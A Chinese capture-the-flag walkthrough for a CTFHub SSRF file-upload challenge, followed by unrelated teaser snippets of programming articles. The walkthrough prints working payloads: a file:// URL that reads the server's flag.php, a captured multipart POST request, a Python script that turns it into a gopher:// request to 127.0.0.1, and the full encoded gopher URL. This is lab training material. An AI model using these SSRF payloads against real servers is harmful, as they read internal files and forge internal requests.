CTFHUB-SSRF-上传文件

通过file协议访问flag.php文件内容

?url=file:///var/www/html/flag.php

右键查看页面源代码,发现需要从内部上传一个文件这样才能正常获取到flag

?url=http://127.0.0.1/flag.php

发现无提交按钮,构造一个

<input type="submit" name="submit">

上传一个非空文件,提交用burp抓包,把Host后面改成 127.0.0.1:80 后全部复制,构造POST请求数据包,进行url编码(和之前编码方法一样,新建一个txt文件,输入以下内容保存,修改为python文件,重命名为gopher.py)

#抓包数据
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------374381931523925870061568547435
Content-Length: 358
Origin: http://challenge-56b01562eafe015c.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-56b01562eafe015c.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
Priority: u=1-----------------------------374381931523925870061568547435
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain11111111111111111
-----------------------------374381931523925870061568547435
Content-Disposition: form-data; name="submit"鎻愪氦鏌ヨ
-----------------------------374381931523925870061568547435--

进行编码

# -*- coding: utf-8 -*
import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------374381931523925870061568547435
Content-Length: 358
Origin: http://challenge-56b01562eafe015c.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-56b01562eafe015c.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1
Priority: u=1-----------------------------374381931523925870061568547435
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain11111111111111111
-----------------------------374381931523925870061568547435
Content-Disposition: form-data; name="submit"鎻愪氦鏌ヨ
-----------------------------374381931523925870061568547435--"""
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)

通过Gopher协议发送请求

?url=gopher%3A//127.0.0.1%3A80/_%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A126.0%2529%2520Gecko/20100101%2520Firefox/126.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------374381931523925870061568547435%250D%250AContent-Length%253A%2520358%250D%250AOrigin%253A%2520http%253A//challenge-56b01562eafe015c.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-56b01562eafe015c.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250APriority%253A%2520u%253D1%250D%250A%250D%250A-----------------------------374381931523925870061568547435%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.txt%2522%250D%250AContent-Type%253A%2520text/plain%250D%250A%250D%250A11111111111111111%250D%250A-----------------------------374381931523925870061568547435%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E9%258E%25BB%25E6%2584%25AA%25E6%25B0%25A6%25E9%258F%258C%25E3%2583%25A8%25EE%2587%2597%250D%250A-----------------------------374381931523925870061568547435--%250D%250A%250D%250A

得到了flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/864500.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RabbitMQ 之 延迟队列

目录 ​编辑一、延迟队列概念 二、延迟队列使用场景 三、整合 SpringBoot 1、创建项目 2、添加依赖 3、修改配置文件 4、添加 Swagger 配置类 四、队列 TTL 1、代码架构图 2、配置文件代码类 3、生产者 4、消费者 5、结果展示 五、延时队列优化 1、代码架构图 …

白骑士的Python教学高级篇 3.4 Web开发

系列目录 上一篇&#xff1a;白骑士的Python教学高级篇 3.3 数据库编程 在现代软件开发中&#xff0c;Web开发占据了重要的一席之地。通过Web开发&#xff0c;我们可以创建从简单的个人博客到复杂的电子商务网站等各种应用。在Python的生态系统中&#xff0c;Flask和Django是两…

Python番外篇之责任转移:有关于虚拟机编程语言的往事

编程之痛 如果&#xff0c;你像笔者一样&#xff0c;有过学习或者使用汇编语言与C、C等语言的经历&#xff0c;一定对下面所说的痛苦感同身受。 汇编语言 将以二进制表示的一条条CPU的机器指令&#xff0c;以人类可读的方式进行表示。虽然&#xff0c;人类可读了&#xff0c…

Java后端开发的最佳工程实践与规范

Java后端开发的最佳工程实践与规范 大家好&#xff0c;我是免费搭建查券返利机器人省钱赚佣金就用微赚淘客系统3.0的小编&#xff0c;也是冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01;今天我们将探讨Java后端开发中的最佳工程实践与规范&#xff0c;这些实践可以…

使用deep修改前端框架中的样式

目录 1.deep的作用 2.使用方式 3.特别说明 scoped 的实现原理&#xff1a; !important 1.deep的作用 /deep/、::v-deep 和 :deep 都是用于穿透组件作用域的选择器。它们的主要目的是允许开发者在父组件中直接选择并样式化子组件内部的元素&#xff0c;即使这些元素被封装在…

拓扑学习系列(1)拓扑球与拓扑环面与同胚

拓扑球与拓扑环面 在拓扑学中&#xff0c;"Topological Sphere" 和 "Topological Torus" 是两种不同的拓扑空间&#xff0c;它们具有特定的拓扑性质和几何特征。 Topological Sphere&#xff08;拓扑球&#xff09;&#xff1a; 拓扑球是一个二维曲面&…

JVM原理(九):JVM虚拟机工具之可视化故障处理工具

1. JHSDB:基于服务性代理的调试工具 JHSDB是一款基于服务性代理实现的进程外调试工具。 服务性代理是HotSpot虚拟机中一组用于映射Java虚拟机运行信息的、主要基于Java语言实现的API集合。 2. JConsole:Java监视与管理控制台 JConsole是一款基于JMX的可视化监视、管理工具。…

电脑有线网卡和无线网卡的MAC地址

电脑上的无线网卡和有线网卡是两种不同类型的网络接口卡&#xff0c;它们各自有不同的功能和连接方式。 无线网卡&#xff1a; 功能&#xff1a;无线网卡允许计算机通过无线信号连接到网络&#xff0c;通常是Wi-Fi网络。连接方式&#xff1a;无需物理电缆&#xff0c;通过无线…

编程与教学的奇妙交织:探索未来的教育模式

编程与教学的奇妙交织&#xff1a;探索未来的教育模式 在当今快速发展的科技时代&#xff0c;编程与教学之间的融合已经不再是遥不可及的梦想&#xff0c;而是逐渐成为教育领域的一股新浪潮。本文将从四个方面、五个方面、六个方面和七个方面深入探讨编程与教学的奇妙交织&…

Mac批量替换文件夹下所有文件内容

今天接了一个小需求&#xff0c;将文件夹下字段为% XXDM %替换成#{XXDM} 在苹果系统&#xff08;macOS&#xff09;下&#xff0c;可以使用命令行工具find结合sed来实现对A文件夹下所有文件内容的批量替换。具体操作步骤如下&#xff1a; 1、打开终端&#xff08;Terminal&am…

千益畅行,旅游卡,如何赚钱?

​ 赚钱这件事情&#xff0c;只有自己努力执行才会有结果。生活中没有幸运二字&#xff0c;每个光鲜亮丽的背后&#xff0c;都是不为人知的付出&#xff01; #旅游卡服务#

springboot拦截器,ThreadLocal(每个线程的公共区域)

拦截器 配置信息&#xff08;拦截所有请求&#xff09; 其实这种可以作为springAOP作日志记录

Spring 框架中都用到了哪些设计模式:单例模式、策略模式、代理模式

Spring 框架是一个功能强大的企业级应用开发框架&#xff0c;它使用了多种设计模式来提高代码的可维护性、可扩展性和可重用性。以下是 Spring 框架中常见的几个设计模式&#xff0c;并简要说明它们的应用场景&#xff1a; 1. 单例模式&#xff08;Singleton Pattern&#xff…

SpringCloud_Eureka注册中心

概述 Eureka是SpringCloud的注册中心。 是一款基于REST的服务治理框架&#xff0c;用于实现微服务架构中的服务发现和负载均衡。 在Eureka体系中&#xff0c;有两种角色: 服务提供者和服务消费者。 服务提供者将自己注册到Eureka服务器&#xff0c;服务消费者从Eureka服务器中…

白骑士的Python教学实战项目篇 4.1 数据分析与可视化

系列目录 上一篇&#xff1a;白骑士的Python教学高级篇 3.4 Web开发​​​​​​​ 在本篇内容中&#xff0c;我们将介绍如何使用Python进行数据分析与可视化。数据分析与可视化是数据科学的重要组成部分&#xff0c;能够帮助我们从数据中提取有价值的信息和洞察。我们将使用P…

软件著作权申请:保障开发者权益,促进软件创新

一、引言 在数字化时代&#xff0c;软件作为信息技术的核心&#xff0c;已成为推动社会进步和经济发展的重要力量。然而&#xff0c;随着软件产业的蓬勃发展&#xff0c;软件侵权和抄袭现象也日益严重。为了保护软件开发者的合法权益&#xff0c;促进软件产业的健康发展&#…

MPP和Hadoop的架构与场景分析

1、架构&#xff1a; MPP&#xff1a; MPP (Massively Parallel Processing)大规模并行处理&#xff0c;最开始的设计目的是为了消除共享资源的使用。 MPP数据库是&#xff1a;采用非共享架构&#xff08;Shared Nothing&#xff09;架构的分布式并行结构化数据库集群&#xff…

PyTorch从零开始实现LSTM

文章目录 LSTM基础理论从零开始实现LSTM简洁版LSTM实现参考资料 LSTM基础理论 关于LSTM的基础理论不再赘述&#xff0c;可以参考资料&#xff1a; RNN神经网络-LSTM模型结构https://github.com/ShusenTang/Dive-into-DL-PyTorch/blob/master/docs/chapter06_RNN/6.8_lstm.md …

摄影后期色彩管理流程(Lightroom篇)

在摄影后期处理中&#xff0c;色彩管理是确保图像从捕捉到输出的一致性和准确性的关键。Lightroom 和 Photoshop 其实已经将这套色彩管理流程作为默认选项&#xff0c;如果实质操作时仍存在色彩偏差的问题&#xff0c;可参考以下内容。 ProPhoto RGB > Adobe RGB > sRGB …

【Android面试八股文】性能优化相关面试题:如何查找CPU占用?

文章目录 一、 如何查找CPU的占用问题二、TraceView的使用关于TraceView和Android Studio的Profiler第一步、通过Android studio 打开`Android profiler`第二步、使用步骤第三步、技术说明第四步、CPU占用相关指标说明扩展阅读一、 如何查找CPU的占用问题 在Android开发中,如…